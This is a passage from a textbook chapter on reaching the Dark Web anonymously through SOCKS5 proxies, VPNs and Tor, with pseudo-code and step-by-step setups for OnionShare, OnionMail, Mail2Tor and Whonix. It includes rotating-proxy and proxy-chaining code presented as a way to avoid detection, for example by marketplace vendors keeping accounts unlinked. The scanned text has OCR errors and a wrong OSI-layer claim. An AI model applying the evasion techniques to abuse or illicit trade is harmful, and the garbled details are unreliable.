(including UDP), robust authentication mechanisms, and compatibility with encrypted tun-
neling solutions. Its popularity is further amplified when integrated with The Onion Router
(Tor), a distributed anonymity network designed to conceal user identities and browsing
activities by routing traffic through a layered relay system. The synergy of SOCKS5 with
Tor enhances both privacy and security by adding multiple layers of obfuscation to network
requests, making it ideal for numerous legitimate use cases such as secure communications,
enterprise data protection, ethical cybersecurity testing, and privacy-preserving research.

SOCKSS proxies operate at the transport layer (Layer 5) of the OSI model, unlike HTTP
proxies that primarily focus on application-layer data. Because SOCKSS5 simply relays pack-
ets without attempting to interpret or modify them, it can handle a wider variety of proto-
cols, including TCP and UDP-based applications. When a SOCKSS5 proxy is configured to
integrate with the Tor network, the proxy server becomes the entry point into the Tor circuit.
Traffic is encapsulated and relayed through a series of randomly selected Tor nodes, each
encrypting and decrypting layers of data, much like peeling an onion. This process makes it
nearly impossible for any single entity to trace the traffic back to the originator, as no node
in the chain has complete visibility of both the source and the destination.

SOCKS (Socket Secure) is a network protocol that allows clients to route their internet traf-
fic through a proxy server, enabling anonymity, bypassing firewalls, and accessing restricted
content. Unlike traditional HTTP proxies, SOCKS operates at a lower level and can handle
any kind of traffic, including TCP and, with SOCKS5, UDP. This makes it suitable for a wide
range of applications, such as web browsing, email, file transfers, and P2P communication.
SOCKS is commonly used to maintain privacy and security—especially when combined with
tools like the Tor network—Dby masking the user’s IP address and preventing direct contact
with the destination server.

SOCKS4 and SOCKSS3 are internet protocols that route network packets between a client
and server through a proxy server, commonly used to bypass firewalls or anonymize traffic.
SOCKS4 supports only TCP connections and lacks authentication features, making it simpler
but more limited in functionality. SOCKSS5, the more advanced version, supports both TCP
and UDP protocols, enables stronger authentication methods, and can relay domain name
resolution (DNS) requests, reducing the risk of DNS leaks. SOCKSS is widely preferred for
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applications requiring high levels of anonymity, such as torrenting, gaming, or accessing the
Dark Web, due to its flexibility, performance, and support for secure authentication.

The basic algorithm for how a proxy handles a client request can be expressed in simpli-
fied pseudo-code. Consider the example of a SOCKSS proxy [6] handling a TCP connection
as shown in Table 3.1. This pseudo-code illustrates the intermediary role of the proxy. The
client connects to the proxy and specifies the target server’s address and port. The proxy then
opens a connection to the server, and if successful, it forwards data bidirectionally between
the client and the server. This forwarding process allows the client to access the destination
without directly connecting to it, thereby masking their IP address.

In contrast, a VPN’s algorithm involves creating an encrypted tunnel. At a high level, the
pseudo-code for a VPN client is presented in Table 3.2. This example shows that VPNs not
only relay traffic but also encrypt and decrypt it at both ends of the tunnel. This comprehen-
sive coverage is why VPNs offer stronger security guarantees than proxies.

Practical examples of proxies in the Dark Web

In practice, proxies are frequently chained together or used in conjunction with networks like
Tor for added security. For instance, a user may configure their browser to use a SOCKSS
proxy that forwards traffic into the Tor network. This setup, sometimes called “Tor through
proxy,” prevents the Tor entry node from knowing the user’s true IP address. Alternatively,
“proxy through Tor” can be configured, where the user connects to a proxy after their traf-
fic exits the Tor network. This can be useful for accessing services that block Tor exit nodes.

Table 3.1 SOCKSS5 proxy TCP algorithm

function handleClientRequest (clientSocket) :
# Receive destination information from the client
destAddr, destPort = clientSocket.readDestinationInfo()

# Open a connection to the destination server
serverSocket = openSocket (destAddr, destPort)

1f serverSocket.connected:
# Notify client that connection was successful
clientSocket.sendConnectionSuccess ()

# Start forwarding data between client and server
while clientSocket.open and serverSocket.open:
dataFromClient = clientSocket.read/()
if dataFromClient:
serverSocket.write (dataFromClient)

dataFromServer = serverSocket.read/()
if dataFromServer:
clientSocket.write (dataFromServer)
else:
clientSocket.sendConnectionFailure ()
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Table 3.2 VPN encrypted tunnel algorithm

function vpnConnect (vpnServer, encryptionKey) :
# Create a virtual network interface
tunInterface = createVirtualInterface ()

# Establish encrypted tunnel to VPN server
tunnel = establishTLSConnection (vpnServer, encryptionKey)

# Redirect all outgoing traffic through the tunnel
routeAllTraffic (tunInterface, tunnel)

while tunnel.open:
packet = tunInterface.read()
encryptedPacket = encrypt (packet, encryptionKey)
tunnel.write (encryptedPacket)

response = tunnel.read()
decryptedResponse = decrypt (response, encryptionKey)
tunInterface.write (decryptedResponse)

Table 3.3 Manage multiple accounts w/o IP address linking

function rotatingProxyRequest (url, proxyList):
for proxy in proxyList:
try:
response = sendRequest (url, proxy)
if response.success:
return response.content
except ConnectionError:
continue
raise Exception("All proxies failed")

Another real-world example is the use of proxies for marketplace operations on the Dark
Web. Vendors often use proxies to manage multiple accounts without being linked by IP
address. Web scraping tools also frequently use rotating proxies to harvest data from web-
sites without being blocked for excessive requests. A rotating proxy setup cycles through
a pool of IP addresses, sending each request from a different IP. This can be implemented
algorithmically as presented in Table 3.3. In this pseudo-code, the function iterates over a
list of proxies, attempting to send the request through each one until a successful response is
obtained. This approach minimizes the risk of detection and blocking.

Limitations amplified in the Dark Web context

When operating on the Dark Web, the limitations of proxies become even more significant.
Since the Dark Web is inherently a hostile environment rife with law enforcement surveil-
lance and malicious actors, the lack of encryption in many proxy configurations poses a
serious risk. Adversaries can set up rogue proxies specifically to intercept traffic, harvest
credentials, or inject malicious payloads. Publicly advertised “free proxies” are particularly
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notorious for engaging in such behavior. Moreover, using a single proxy introduces a trust
issue. The user must trust that the proxy operator will not log or tamper with their data. This
level of trust is often unrealistic in the Dark Web, where accountability is minimal. VPNs,
while not immune to trust issues, are at least backed by contractual no-log policies and legal
jurisdictions that can be evaluated by the user.

Proxies also do little to protect against sophisticated correlation attacks. If an adversary
can observe both the traffic entering the proxy and the traffic leaving it, they can correlate the
timing and size of the data packets to deanonymize the user. Tor’s multi-layered onion rout-
ing design is explicitly built to resist such attacks, which is why it is generally recommended
over single proxies for accessing the Dark Web.

SOCKSS5 proxies and Tor integration

A user is trying to open/etc/tor/torrc file to add the SOCS port in that file using the nano file
editor. After opening the file, add the lines as displayed in Figure 3.11.

Figure 3.12 shows activating the Tor service using system control in Kali Linux.

Figure 3.13: displays the ‘Curl checkip.amazonaws.com’ using port 9050 to know the IP
address. If it is different than one that is displayed on triggering the ifconfig command, then
the proxy service is activated successfully.

Example |:secure data retrieval in a distributed research network

One of the most illustrative use cases of SOCKSS proxies with Tor integration arises in
scenarios where academic or research organizations need to access external data sources
without disclosing their origin. Consider a biomedical research institute that needs to col-
lect health-related data from various international servers hosting public datasets. Because
these datasets could be stored on servers in multiple jurisdictions, direct requests from the
institute’s IP range might raise privacy concerns or risk geo-blocking. Configuring a SOCKSS
proxy as a gateway to the Tor network allows the research team to anonymize their outgoing
traffic. Each data retrieval request is routed through several randomly selected Tor nodes,
effectively decoupling the origin IP address from the endpoint server.

o TR
s e aae o vorze SOCKSPort 9050
T/LOrrC controlPort 9051

Figure 3.11 Add port information.

E(kali@kali)—h]
$ sudo systemctl start tor
[sudo] password for kali:

Figure 3.12 StartTor service.

E(kali@kali)—h]
$ curl --proxy socks5h://127.0.0.1:9050 http://checkip.amazonaws.com
193.26.115.140

Figure 3.13 Check IP address.
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To implement this setup, the research institute deploys a SOCKSS proxy server (for exam-
ple, using the open-source Dante proxy framework) on a hardened virtual machine. This
server is configured to direct all outgoing requests into the Tor network via a local Tor client
that listens on a specific port (commonly 9050 or 9150). Each researcher’s workstation or
automated script is configured to point at the SOCKSS server’s address and port, ensuring
that all traffic passes through the anonymization layer. Table 3.4 presents the pseudo-code for
the data retrieval process. In this pseudo-code, the SOCKSSProxy object acts as the connec-
tion interface that forwards each request to the Tor client’s SOCKS port. When the function
ConnectViaSOCKSS is invoked, the proxy negotiates a handshake with the Tor client, which
in turn selects a path through the Tor network. Each dataset request is encrypted and relayed
through at least three Tor nodes (entry, relay, and exit) before reaching the target server. The
response follows the same path in reverse, ensuring that the research institute’s original IP
address is never exposed.

The benefits of this architecture are numerous. The research organization maintains com-
pliance with international privacy regulations because its requests are stripped of any iden-
tifying network metadata. Furthermore, by distributing requests across different Tor exit
nodes, the system prevents the target servers from recognizing the volume or pattern of
access coming from a single entity, which could otherwise raise alarms. From a cybersecurity
perspective, this model also reduces the attack surface for potential adversaries attempting to
map the institute’s internal network topology.

Example 2: ethical cybersecurity assessments with controlled
anonymity

A second powerful use case of SOCKSS5 proxies integrated with Tor lies in conducting ethi-
cal cybersecurity assessments. Security firms or penetration testers often face the challenge of
testing client infrastructure without unintentionally revealing the origin of the probing traf-
fic. While ethical hacking engagements are fully authorized by the target organization, there
are instances where the security provider must simulate realistic threat actor behavior. If all
scanning traffic originates from the tester’s corporate network, it might be trivially easy for
the client’s intrusion detection system (IDS) to distinguish it from real-world attacks.

To address this, a security firm may deploy SOCKSS proxies with Tor integration as an
anonymized testing gateway. For instance, the penetration tester configures their reconnais-
sance and vulnerability scanning tools (e.g., Nmap, Nessus, and custom scripts) to route
traffic through a SOCKSS proxy linked to Tor. This introduces a degree of unpredictability in
the source IP addresses seen by the client’s monitoring systems, making the simulated attack
traffic indistinguishable from global internet noise.

Table 3.5 presents the algorithm to perform an ethical assessment.

Table 3.4 Data retrieval process

Initialize SOCKS5Proxy with host=%"192.168.100.10” and port=1080
Initialize TorClient with SOCKSPort=9050
Bind SOCKS5Proxy to TorClient

For each dataset in DatasetList:
request = CreateRequest (dataset.url)
ConnectViaSOCKS5 (request, SOCKS5Proxy)
response = SendRequestThroughTor (request)
SaveToLocalRepository (response)
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Table 3.5 Perform ethical assessment with SOCKS5

Initialize SOCKS5Proxy host=%"203.0.113.50” port=1080
Initialize TorClient on localhost SOCKSPort=9050
Bind proxy to Tor client

For each target in ClientInfrastructure:
ConfigureScanner (scanner, proxy=SOCKS5Proxy)
PerformPassiveRecon (target)

For each service in target.services:
PerformVulnerabilityScan (target, service)
LogResults (target)
EndFor

The ConfigureScanner function sets the scanning tool’s networking stack to relay all con-
nections through the SOCKSS proxy. The proxy, in turn, uses the Tor client to select a fresh
path through the Tor network for each request. By randomizing exit nodes for different
targets and services, the tester achieves a realistic level of traffic diversity, mimicking a dis-
tributed attack scenario. This helps the client validate the resilience of their detection capabil-
ities, firewalls, and security information and event management (SIEM) solutions under more
realistic conditions. Importantly, the ethical boundaries of this technique must be tightly
enforced. The SOCKSS5-Tor chain must be used solely within the scope defined by the client’s
engagement rules. The penetration tester should also take care to prevent non-engagement-
related traffic from leaving through the anonymization gateway, as this could inadvertently
impact unrelated systems.

The above examples highlight the functional benefits of SOCKSS with Tor, but under-
standing the underlying algorithms provides a deeper appreciation for its sophistication.
When a client application attempts to connect to a remote server via SOCKSS, it first initiates
a TCP handshake with the proxy server. The SOCKSS5 protocol defines a series of message
exchanges to authenticate the client and establish the desired connection type (TCP or UDP).
The flow for the SOCKSS5 handshake is presented as follows:

1. Client Greeting: The client sends a version identifier and a list of supported authentica-
tion methods.

2. Server Selection: The proxy server responds with the chosen authentication method.

3. Authentication (if required): If username/password authentication is selected, the client
sends credentials for verification.

4. Connection Request: The client requests a connection to the target server, specifying the
destination address and port.

5. Server Response: The proxy confirms success or failure and establishes the requested
connection channel.

When integrated with Tor, the SOCKSS proxy hands off the connection request to the Tor cli-
ent’s SOCKS listener. The Tor client then initiates the creation of a multi-hop circuit through
the Tor network using its own cryptographic protocol. Each hop in the circuit adds or
removes a layer of encryption using Diffie-Hellman—derived session keys unique to that hop.
The “onion” encryption process ensures that intermediate nodes cannot decrypt the entire
payload; they only know the previous and next hop in the chain.
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To further elaborate, Table 3.6 presents the pseudo-code outlining a complete flow that
integrates both SOCKSS proxying and Tor circuit management. In this pseudo-code, the
InitializeSOCKS5TorPipeline function sets up the foundational infrastructure, binding a
SOCKSS proxy instance to a locally running Tor client. Once the proxy is initialized, the
SendAnonymousRequest function can be called repeatedly for different destinations. Each
invocation negotiates a SOCKSS connection and triggers the Tor client to either reuse an
existing circuit or build a new one for improved anonymity.

While the biomedical research and ethical hacking scenarios are representative, SOCKSS5
proxies integrated with Tor are versatile enough to support a wide range of other legitimate
use cases. For instance, journalists operating in restrictive media environments often rely
on such tools to securely exchange information with sources without revealing their physi-
cal location. Similarly, multinational corporations use SOCKSS5 proxies with Tor to protect
their market research and competitive intelligence activities from surveillance by competi-
tors. Even software developers leverage this technology to test how their applications behave
when accessed from different geolocations, without needing to maintain a large fleet of VPN
servers.

In cloud-native environments, SOCKSS proxies are sometimes integrated with microser-
vices to control outbound connectivity. By routing all external API calls through a SOCKSS5-
Tor layer, the platform team ensures that no single microservice can inadvertently leak
sensitive metadata or call back to unauthorized hosts. This approach can also provide a
degree of resilience against targeted attacks, as adversaries find it harder to correlate traffic
patterns with specific infrastructure components.

Security considerations and best practices

Despite its powerful anonymity guarantees, integrating SOCKSS proxies with Tor requires
careful configuration to avoid pitfalls. For instance, DNS resolution must be performed

Table 3.6 Integrated SOCKS5 & TOR

function InitializeSOCKS5TorPipeline(clientHost, clientPort,
torSOCKSPort) :
socks5Proxy = CreateSOCKS5Proxy (clientHost, clientPort)
torClient = ConnectToTor (torSOCKSPort)
BindProxyToTor (socks5Proxy, torClient)
return socks5Proxy

function SendAnonymousRequest (socks5Proxy, destination) :
connection = socks5Proxy.InitiateConnection (destination)
if connection.success:

data = connection.SendAndReceive ()
return data
else:

HandleFailure ()

// Main Execution
socks5 = InitializeSOCKS5TorPipeline(“"10.0.0.5”, 1080, 9050)
for resource in ResourceList:
response = SendAnonymousRequest (socks5, resource.url)
ProcessResponse (response)
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through the Tor network rather than the local resolver; otherwise, DNS queries could leak
the client’s original IP address (a phenomenon known as DNS leakage). Many SOCKSS5-
capable applications provide an option to “resolve hostnames remotely,” which should be
enabled in all configurations.

Additionally, users must be cognizant of the fact that Tor exit nodes are publicly known
and may be monitored by adversaries. While the payloads sent through the SOCKSS-Tor
pipeline are encrypted end-to-end if using HTTPS, any unencrypted traffic could be inter-
cepted at the exit node. Therefore, coupling SOCKS5-Tor with transport-layer encryption is
considered a baseline security requirement.

Finally, organizations deploying SOCKSS5 proxies should enforce strict authentication and
access control policies. Without proper safeguards, an open SOCKSS proxy could be abused
by unauthorized actors for malicious purposes, exposing the operator to legal and reputa-
tional risks.

Public and private proxies

Public and private proxies play a significant role when it comes to accessing the Dark Web
securely and anonymously. Understanding the differences between these two types of proxies,
their implications for privacy, and their operational efficiency is crucial for anyone seeking
to maintain a high level of anonymity while interacting with services on hidden networks. A
proxy server, in the simplest sense, acts as an intermediary between a user and the destination
server. When using proxies for Dark Web access, the primary objective is to conceal the user’s
IP address and potentially encrypt traffic so that third parties cannot easily trace the origin
of the connection. This goal, however, is achieved with varying levels of reliability depending
on whether a public or private proxy is employed.

Public proxies are servers that are openly available on the internet for anyone to use, often
free of cost. These proxies are widely shared among a large number of users, which can make
them attractive for those who do not want to incur costs. However, their shared nature intro-
duces significant drawbacks. Since multiple users are connecting through the same server
simultaneously, bandwidth becomes limited, resulting in slower connection speeds. Public
proxies also tend to be unreliable because they can go offline without notice or be deliber-
ately shut down by their operators. Another serious concern is the trustworthiness of the
proxy operator. Public proxies are often set up by unknown individuals or organizations,
and there is no guarantee that they will not log user activity, inject malicious code, or exploit
the traffic that passes through their servers. For Dark Web users, this presents a tangible risk
because the very act of using an untrusted public proxy could compromise anonymity rather
than enhance it.

Private proxies, in contrast, are not freely available to the general public. They are typi-
cally acquired through paid subscriptions or direct arrangements with reputable providers.
Since these proxies are dedicated to a single user or a limited number of users, they offer
far better performance and reliability than public proxies. Users of private proxies enjoy
consistent speeds and higher uptime, making them more suited for persistent connections
required by Dark Web services such as Tor hidden sites or marketplaces. Moreover, private
proxies usually come with stronger security guarantees, including no-logging policies and
controlled server infrastructure, reducing the risk of traffic interception. For individuals who
value anonymity and require stability when accessing hidden services, private proxies are
often the preferred option. The downside, however, is cost. Private proxies can be expensive,
particularly when they are located in premium jurisdictions or provide advanced features like
rotating IP addresses and encrypted tunnels.
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The distinction between public and private proxies becomes even more pronounced when
we consider use cases specific to the Dark Web. One common application of proxies is to
route traffic through a series of intermediaries before it reaches the Tor network itself. This
practice, sometimes referred to as “Tor over proxy” or “proxy chaining,” can create an addi-
tional barrier for anyone attempting to trace the user. Public proxies can technically be used
for this purpose, but their unreliability means they could drop the connection at any time,
potentially revealing partial traffic patterns. Private proxies, by contrast, maintain more con-
sistent routing and offer detailed configuration options that allow the user to fine-tune how
and when traffic is passed to Tor nodes.

An example of using a public proxy for Dark Web access would involve a user select-
ing a free proxy IP address from an online directory and configuring their system to route
traffic through it before initiating a Tor session. While this may seem simple, the user risks
connecting through a proxy controlled by an adversary. A malicious proxy operator could
monitor all unencrypted traffic and potentially launch man-in-the-middle attacks. This is
why security experts generally discourage the use of public proxies unless there is no other
option and additional layers of encryption are used. A corresponding private proxy scenario
could involve a user subscribing to a reputable service that offers residential IP addresses
and configuring it in conjunction with the Tor Browser. The service might allow rotating IP
addresses at fixed intervals, which would further obfuscate the user’s traffic pattern. Such a
configuration would be significantly more secure and stable, enabling the user to maintain
continuous sessions without frequent disruptions. In practice, this would allow better access
to Dark Web resources like marketplaces, forums, or whistleblower platforms where consis-
tency and security are paramount.

From an algorithmic perspective, proxies can be integrated into the connection process
through a straightforward set of steps. Table 3.7 presents the pseudo-code to demonstrate
the method of routing traffic through a proxy before it reaches the destination server. In
this pseudo-code, the connect_via_proxy function first establishes a socket connection to the
proxy server using its IP address and port number. Once the connection is open, it sends an
HTTP CONNECT request, a standard method for instructing a proxy server to establish a
tunnel to the final destination. If the proxy responds with a successful status code, the client
sets up a secure channel (such as TLS) and forwards the encrypted traffic to the intended Dark
Web resource. This approach can be adapted for both public and private proxies, though the
reliability of the connection will heavily depend on the proxy type.

Another example algorithm, specifically for chaining multiple proxies before connecting
to the Tor network, is presented in Table 3.8. This algorithm iterates through a list of prox-
ies, sequentially tunneling the connection through each one before ultimately connecting to

Table 3.7 Process for integrating proxies

function connect via proxy (proxy 1ip, proxy port, destination url):
open socket connection (proxy ip, proxy port)
send http request (“"CONNECT” + destination url + “HTTP/1.1")
if response code == 200:
establish secure channel ()
forward traffic to destination(destination url)
else:
log error (“Proxy connection failed”)
retry with new proxy()
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Table 3.8 Chaining multiple proxies before connecting to TOR

function proxy chain connect (proxy list, tor entry node) :
current connection = null
for proxy in proxy list:

if current connection == null:
current connection = open connection (proxy.ip, proxy.port)
else:
current connection = tunnel through proxy (current connection,
proxy)

connect to_ tor(current connection, tor entry node)

the Tor entry node. This method adds layers of obfuscation, making it more challenging for
adversaries to determine the true origin of the traffic. However, using public proxies in this
chain increases the likelihood of failure because any one of the proxies could drop the con-
nection or act maliciously. Private proxies, due to their stability and control, are better suited
for such chains.

The choice between public and private proxies for Dark Web access hinges on the user’s
priorities. Public proxies may appeal to those who value cost savings or casual, low-risk
exploration of hidden services. However, their inherent unreliability, poor performance, and
potential for traffic interception make them unsuitable for anyone requiring robust ano-
nymity. Private proxies, while more expensive, offer enhanced security, greater control, and
consistent performance, making them the optimal choice for serious Dark Web users. When
combined with strong encryption protocols and anonymous networks like Tor, private prox-
ies can significantly reduce the risk of exposure, provided they are obtained from a reputable
provider. The examples and algorithms discussed above illustrate how proxies function at a
technical level, reinforcing the fact that the quality and trustworthiness of the proxy infra-
structure are central to maintaining privacy in the complex and often hostile environment of
the Dark Web.

3.5 SECURE COMMUNICATION USE CASES

Secure communication channels are essential for maintaining privacy and anonymity on the
Dark Web, where threats of surveillance and tracking are constant. End-to-end encryption
(E2EE) ensures that only intended recipients can read the content, anonymous identities
protect users’ real-world information, and metadata minimization reduces traceable commu-
nication footprints. Tools such as ProtonMail provide encrypted email services with anony-
mous registration for secure correspondence, while OnionMail operates entirely over the Tor
network as a decentralized, encrypted email platform. Mail2Tor further enhances privacy by
acting as an anonymous email relay, enabling communication between the clearnet and Dark
Web without revealing IP addresses.

For secure file sharing and collaboration, OnionShare allows users to share sensitive docu-
ments, such as investigative reports or whistleblower leaks, anonymously and without leav-
ing metadata trails. Complementing these services, privacy-hardened operating systems like
Whonix isolate user activities through a Tor-centric virtualized environment, ensuring that
email exchanges, file transfers, and other online interactions remain compartmentalized and
secure. Together, these tools form a layered security approach that enhances operational
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security, protects against traffic analysis, and allows activists, journalists, and everyday users
to communicate and collaborate privately on the Dark Web.

ProtonMail

Proton Mail [7] is a privacy-focused, ad-free email service that offers strong encryption and
user security without relying on data collection or targeted advertising. Unlike most main-
stream email providers that profit from user data, Proton Mail is supported by a community-
driven model where free accounts are funded through optional paid subscriptions. These
subscriptions unlock additional features and storage, but even the free version maintains
high standards of privacy and usability. Headquartered in Switzerland, Proton Mail benefits
from the country’s strict data protection laws, ensuring that user data is safeguarded under
some of the world’s strongest privacy regulations. The service offers an “Easy Switch” feature
that lets users migrate seamlessly from other email providers, importing emails, contacts,
labels, and calendars while setting up automatic email forwarding. Proton’s commitment to
transparency is evident through its open-source codebase and independent security audits,
reinforcing user trust and enabling global access to its trusted encryption tools. Create an
account, go ahead with verification, and choose your unique email address. After successful
validation, get started with the Proton Mail service. Figure 3.14 displays various services
offered by Proton.

OnionShare

OnionShare [8] is a secure, open-source tool that allows users to share files, host websites, and
chat anonymously over the Tor network. Unlike traditional file-sharing services, OnionShare
doesn’t require third-party servers; instead, it creates a temporary, private .onion service that
only those with the unique link can access. This ensures end-to-end encryption, anonymity, and
resistance to censorship or surveillance. OnionShare can be used to send files, receive anony-
mous tips, or even run a stealth website, making it a valuable tool for journalists, activists,
and privacy-conscious users. Choose an operating system and start with OnionShare without
spending a single penny and follow the further steps written on the website (Figure 3.15).

The user is choosing the Windows environment, downloads the file, installs the applica-
tion, connects to the Tor network, as shown in Figure 3.16.

b Email W VPN @ Password manager B Storage & Docs

Figure 3.14 Proton services.

B @ A

. .
Windows MacOs Linux
Signature (7@ What's this?) Signature (7@ What's this?)

Figure 3.15 Choose OS.
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@ OnionShare

OnionShare relies on the volunteer-operated Tor network.

Auto-connect to Tor

Connect to Tor Network Settings

Figure 3.16 Connect to Tor.
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Share Files Receive Files

Start Sharing Start Receiving

Y . ™

Host a Website Chat Anonymously

Start Hosting Start Chatting

Figure 3.17 Choose option.

Figure 3.17 displays various options offered by OnionShare, which includeShare Files,
Receive Files, Host a website, and Chat anonymously. The user goes with the Share File
option.

Figure 3.18 illustrates that the file has been uploaded. Select all the checkboxes that apply
in your case.

After clicking on the Share button, the application will provide an .onion link and a pass-
word that the receiver has to enter before downloading the file, as shown in Figure 3.19. This
proves anonymity, confidentiality, integrity, and availability.

Figure 3.20 displays the receiver opening the .onion link, entering the password, and only
after authentication will be able to download the file.
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1 file, 14.7 KiB

@ Demo.png

(V! Stop sharing after files have been sent (uncheck to allow downloading individual files)
(V] Always open this tab when OnionShare is started (the onion address will stay the same)
(v Automatically start this onion service when OnionShare starts

[ This is a public OnionShare service (disables private key)

Figure 3.18 Upload file.

First, send the OnionShare address below:

http://4zag43tgkévubkxmSd4faat4w34bugpnru23ujrjgts4j2c57chbfmgd.onion

Copy Address ‘ ‘ Show QR Code

Next, send the private key to allow access to your OnionShare service:

B e e

Reveal ’

Copy Private Key Show QR Code

Figure 3.19 Secret link.
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B Demo.png 14.7 KiB.

Figure 3.20 Receiver’s side.



76 Beyond The Invisible Nexus

OnionMail

OnionMail [9] is a privacy-focused email service that operates through the Tor network, pro-
viding enhanced anonymity and resistance to surveillance. Unlike conventional email provid-
ers, Onion Mail routes all communication through .onion addresses, ensuring that both the
sender and receiver remain hidden. It supports end-to-end encryption and does not log user
data, making it a suitable option for individuals who require high levels of confidentiality,
such as journalists, activists, or whistleblowers. By leveraging the Tor infrastructure, Onion
Mail offers a secure and censorship-resistant platform for private communication. No per-
sonal data is required to create an account, and emails are encrypted with your PGP public
key. Just register with Onion Mail, log in, and enjoy online privacy. OnionMail offers a free
plan, but users can go for a paid membership plan, as shown in Figure 3.21.

Mail2Tor

Mail2Tor [10] is an anonymous email service accessible through the Tor network that allows
users to send and receive emails without revealing their identity or IP address. It operates
using a .onion address and supports communication with both other Mail2Tor users and
standard email addresses on the internet. Mail2Tor does not log metadata, enforce registra-
tion with personal information, or require JavaScript, enhancing user privacy and resistance
to tracking. It’s widely used by individuals seeking anonymous communication in environ-
ments where privacy is critical, such as whistleblowing, activism, or privacy research. Register
yourself with Mail2Tor and enjoy their services. Figure 3.22 displays the .onion weblinks to
find Mail2Tor using the Tor Browser.

D @ MARKAS SEEN MARKAS UNSEEN M DELETE QMOVE~ from:val toval sub
om:val to:val sub

Check your Mailbox Storage and consider UPGRADING YOUR PLAN. Are you browsing safely? check your IP.
[J * onion Mail Support SG,welcome to our awesome servicel - 5G, welcome to Onion Mail service! If you are

NEWER Page 1(1-1out of 1 messages)

Figure 3.21 OnionMail.

Mail2Tor Onion Page

Mail2Tor is a free anonymous e-mail service lo prolect your privacy. It allows anyone lo send and receive email
anonymously via webmail or with an email client. You will need o have Tor browser inslalled on your compuler to
access Mail2Tor (mail2tor2zyjdctd.onion /

mail2torjgmxgexntbrmhvgluavhj7ouulsyaréylbvjkxwqf6ixkwyd.onion).

IMAP Address: g77kjrad6bafzzyldqvffg6kxisgphcygpixhnn4xinktfgagshilmyd.onion:143
SMTP Address: xc7lgk2c5onxni2wsy76jslfsilxjbbplejnghwégy2ft7khpevhc7ad.onion:25
We do notuse TLS/SSL

Figure 3.22 Mail2Tor.
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Whonix

Whonix [11] is a privacy-focused operating system specifically designed for anonymous inter-
net use and protection against common threats to user identity. It is based on Debian Linux
and uniquely structured into two separate virtual machines: the Gateway (Whonix-Gateway)
and the Workstation (Whonix-Workstation). The Gateway routes all internet traffic through
the Tor network, ensuring that the user’s IP address is never exposed. The Workstation, iso-
lated from direct internet access, operates within a completely secure and anonymous envi-
ronment. This split-architecture design enforces strong isolation, making it highly resistant
to DNS leaks, malware attempting to discover the user’s IP, or application-level tracking.
Whonix supports tools like Tor Browser, Tailscale, and other secure communication and
encryption applications, making it a powerful platform for journalists, activists, cybersecu-
rity professionals, and researchers who require anonymity. Since it runs as a virtual machine
(via VirtualBox or KVM), Whonix can be used alongside most host operating systems, add-
ing a robust layer of security without modifying the user’s primary system.

While using a VPN to access .onion sites does provide some privacy benefits, such as
masking your IP address from your ISP and encrypting your traffic, it still has significant
limitations. VPN are centralized services, meaning users must trust the VPN provider not to
log or monitor their activity. Additionally, traditional operating systems used with VPNs are
not inherently designed to prevent leaks or safeguard against misconfigurations that could
expose a user’s identity. Whonix, by contrast, is purpose-built for anonymity and takes a fun-
damentally different approach. Rather than simply tunneling traffic, Whonix uses a dual-VM
system where all internet communication is routed through the Tor network at the system
level, not just the browser. This setup minimizes the risk of IP leaks, metadata exposure,
and fingerprinting, even if an application misbehaves. Therefore, while VPNs are better than
nothing, Whonix offers a significantly stronger, compartmentalized security model that is
tailored for safe and anonymous exploration of the Dark Web.

To install Whonix, navigate to the website’s link to download the free Whonix. Those
using Windows OS will require a Type 2 Hypervisor (VMWare/VirtualBox) application as
displayed in Figure 3.23.

O Whonix® Download About Docs Community Support Q v $obonate
Download Whonix (FREE) =1
Whonix is available on the following platforms.
2"+ Operating System : Install Whonix on operating system (0S)
Windows Linux Linux Installer mac0S

Figure 3.23 Home page.
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Download Whonix as shown in Figure 3.24 and install VirtualBox as shown in Figure 3.24.

After successful installation of both files, launch VirtualBox, click the “File” option on
the top left corner, and select “Import Appliance.” Choose the file location as shown in
Figure 3.25.

Users should be able to notice two new VMs added to their VM list, as illustrated in Figure
3.26. Launch Whonix-Gateway first, then open a terminal and update all the older packages
using “sudo apt update” command, after updating packages, run “sudo apt upgrade” and
then open Whonix-Workstation. Run both machines simultaneously, else the Tor connection
would not work; as a result, you will not be able to access the .onion sites.

Click on the browser icon (just after the terminal icon) and click on “IP Check” as shown in
Figure 3.27 to verify the IP address. A page with “Congratulations” message will be loaded,
offering the most anonymous online presence, which means the user footprint tracking will
be almost impossible to track.

i e Install VirtualBox
o Download Whonix Xfce

Download and install VirtualBox for your operating system.

Whonix Xfce is available for Windows, MacOS and Linux.

[ stable Xfce BEASCE TP
& ' Download Whonix Xfce (VirtualBox) (stable) (FREE?) '

Optional: Digital signature verification.

Debian

bad V7] image of Kicksecure logo rectangle Kicksecure ¢ Linux

& Download VirtualBox for Windows (FREEY) J |

Microsoft Visual C++ 2019 Redistributable Package

Optional: Digital signature verification.

Figure 3.24 Setup Whonix on VirtualBox.

File Machine Help

$l Import Appliance... Ctrl+l Source: Local File System
@ Export Appliance... Ctrl+E )

File: i
E Tools >

@ Check for Updates...

@ aquit ctri+Q

Figure 3.25 File location.

%6488 Whonix-Workstation-Xfce
& =¥ Running

Figure 3.26 Whonix virtual machines.
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Whonix-Workstation-Xfce [Running] - Oracle VirtualBox ~ - O
) i j
£ vi evices elp 6 O 65 ..J ’

IP Check Docs Support Forum Contribute Donate

Congratulations. This browser is configured to use Tor.

Your IP address appears to be: 45.84.107.198

Figure 3.27 Access anonymous browsing.

3.6 CONCLUSION

Safe navigation of the Dark Web requires a holistic approach combining tools, technolo-
gies, and best practices to preserve anonymity, privacy, and security. This chapter reinforces
that no single tool, whether Tor, VPNs, proxies, or encrypted communication platforms,
can guarantee complete protection against surveillance or deanonymization attacks. Instead,
a layered defense model is essential. VPNs and proxies provide foundational anonymity,
while integrated solutions like SOCKSS with Tor and decentralized networks offer enhanced
protection from traffic correlation. Secure communication services, such as ProtonMail,
OnionMail, and OnionShare, protect data integrity and confidentiality through end-to-end
encryption. Privacy-focused operating systems like Whonix strengthen security by isolating
user activities and reducing exposure to leaks. Threat modeling is critical in selecting tools
tailored to the user’s context, whether for political activism, research, or general privacy
needs. The chapter underscores that as adversaries evolve their capabilities using machine
learning, big data analytics, and advanced network attacks, users must remain adaptive and
informed. By adopting a strategic, multi-layered approach, individuals can mitigate risks and
maintain a higher degree of security when operating in the complex and hostile Dark Web
environment.

MULTIPLE CHOICE QUESTIONS FOR LEARNING

1. A cybersecurity analyst in an authoritarian country is tasked with ensuring commu-
nication between journalists and sources remains private. The analyst sets up a secure
email relay over the Tor network using no identifiable credentials and avoids using
